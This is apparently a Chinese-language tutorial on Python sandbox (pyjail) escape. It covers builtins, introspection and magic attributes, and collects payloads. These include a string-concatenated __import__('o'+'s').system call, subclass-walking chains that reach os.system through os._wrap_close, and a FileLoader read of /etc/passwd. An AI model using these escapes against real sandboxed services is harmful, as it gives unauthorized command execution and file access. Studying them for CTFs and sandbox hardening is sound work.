pyjail原理
内省机制
builtins
在 Python中,builtins 模块是一个特殊的模块,它包含了所有 Python 内置的函数、异常、常量和其他内置对象。
builtins 模块提供了对 Python 内置标识符的直接访问。这些内置标识符包括常用的函数(如 print()、len())、数据类型(如 int()、str())、异常类(如 ValueError),以及一些常量(如 True、False)。这些对象在 Python 解释器启动时就会自动加载,因此在任何地方都可以直接使用它们,而无需显式导入。
例如,以下两种方式调用内置函数是等价的:
1 | # 直接调用 |
使用场景
1.重写内置函数:如果你想重写一个内置函数,但仍然希望在某些情况下调用原始的内置函数,可以通过导入并使用builtins模块来实现。例如,重写文件读取函数:
1 | import builtins |
2.动态执行代码时控制可用的内置函数:在使用诸如 eval() 或 exec() 等动态执行代码的场景中,可以通过传递自定义的全局和局部命名空间来控制哪些内置函数可用。这可以通过修改传递给这些函数的全局字典中的 __builtins__ 键来实现。
python内省机制
Python 的内省(Introspection)是一种动态获取对象信息的能力。通过内省,我们可以查看对象的类型,查看它的属性和方法,以及它继承的类等等。这种灵活性使得 Python 成为一种非常强大的动态语言。
以下是 Python 内省的一些主要工具和技术:
dir()
这个内置函数返回一个对象的所有属性和方法的列表,包括它从其父类继承的所有属性和方法。
例如:
1 | >>> dir("Hello World") |
测试脚本
1 | print("============ define variable") |
type()
这个内置函数可以返回一个对象的类型。
例如:
1 | >>> type(123) |
测试脚本
1 | print("============ type of Built-in Data Types") |
getattr(), setattr(), hasattr(), delattr()
这些内置函数用于获取、设置、检查和删除对象的属性。
例如:
1 | class MyClass: |
help()
这个函数提供了关于一个对象(如类、方法、模块等)的详细信息。
例如:
1 | >>> help(str) |
通过 help 函数可以找到这个类所有的方法定义以及属性, 可以看到其中有很多以 __ 开头的函数和属性, 这些函数和属性被称为魔术方法/属性.
测试脚本:
1 | help(1) |
globals()
vars()
python 魔术方法/属性
__builtins__
__builtins__: 是一个 builtins 模块的一个引用,其中包含 Python 的内置名称。这个模块自动在所有模块的全局命名空间中导入。当然我们也可以使用 import builtins 来导入
它包含许多基本函数(如 print、len 等)和基本类(如 object、int、list 等)。这就是可以在 Python 脚本中直接使用 print、len 等函数,而无需导入任何模块的原因。
我们可以使用 dir() 查看当前模块的属性列表. 其中就可以看到 __builtins__
1 | >>> dir() |
我们可以使用 dir(__builtins__) 来查看 __builtins__ 中包含的函数
1 | >>> dir(__builtins__) |
__builtins__ 仅仅是 builtins 模块的引用,实际上是以 dict 的形式实现的。
测试脚本:
1 | print("============ define variable") |
__import__
__import__接收字符串作为参数,导入该字符串名称的模块。
如import sys相当于__import__(‘sys’),另外由于参数是字符串的形式,因此在某些情况下可利用字符串拼接的方式Bypass过滤,如:
1 | __import__('o'+'s').system('ca'+'lc')。 |
__class__
__class__ 用于获取对象的类,例如:
1 | ''.__class__ ## str 类 |
__bases__
列出基类:
1 | ''.__class__.__bases__ |
__mro__
__mro__用于展示类的继承关系,类似于 bases:
1 | ''.__class__.__mro__ |
__globals__
__globals__是一个特殊属性,能够以 dict 的形式返回函数(注意是函数)所在模块命名空间的所有变量,其中包含了很多已经引入的 modules。
注意,某些内置函数并没有 __globals__属性,因为这些函数并不是 Python 代码定义的,而是用 C 语言或其他底层语言实现的,例如 os.system 函数
测试脚本:
1 | print("============ define func") |
__init__
__init__ 是一个类的构造函数,当一个类被实例化时,它会被自动调用。我们也可以直接调用该函数进行实例化。
__subclasses__
__subclasses__ 函数可以获取到某个类所有子类。
1 | import requests |
__dict__
__dict__ 是一个特殊的属性,它以字典形式存储对象的 可写属性。每个对象(包括类、实例、模块等)都有自己的 __dict__ 属性,通常用于保存该对象的命名空间,即与该对象相关的所有属性和值。
比如当我们将 flag 字符声明在 __main__ 模块时,就可以在 __main__ 模块的 __dict__ 属性中找到,与 globals() 函数的返回结果一致。
1 | import sys |
其他
1 | __del__:一个类的析构函数,当一个对象被销毁时,它会被自动调用。 |
no builtins 构造
在前面的原理部分,我们可以很轻易地通过 __import__ 这样的函数导入模块并执行危险函数,
1 | print( |
但如果沙箱完全清空了 __builtins__, 则无法使用 import,如下:
1 | >>> eval("__import__", {"__builtins__": {}},{"__builtins__": {}}) |
这种情况下我们就需要利用 python 内省机制来绕过,其步骤简单来说,就是通过內省 python 中的内置类重新获取 __builtins__,然后再进行利用
构造 payload 原理
参考pyjail一文
自动化构造
使用列表推导式就可以在不知道类的索引的情况下,获取符合条件的类并执行,例如:
1 | [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") |
payload收集
RCE
1 | #os |
但是上面的 payload 也存在一个问题,当 builtins 被完全清空时,无法使用 str 函数。这时候可以先在本地定位可以执行命令的类:
1 | >>> [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] |
然后选取其中的一个类,获取 __name__ 属性,然后直接限定为这个类
1 | >>> [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0] |
通常情况下,能够执行命令的类比较固定,其实也不需要用到上面这种列表推导式,最常见的 payload 是用到了 os._wrap_close 类。我们可以首先枚举 subclasses, os._wrap_close 一般会出现在倒数的几个位置。我本地的环境为 -5, os._wrap_close 可以直接通过 __globals__ 获取到 system 函数,而不需要先获取 __builtins__
1 | ().__class__.__base__.__subclasses__() |
FileRead
操作文件可以使用 builtins 中的 open,也可以使用 FileLoader 模块的 get_data 方法。
1 | [ x for x in ''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/etc/passwd") |
sandbox
见pyjail一文
逃逸目标
见pyjail一文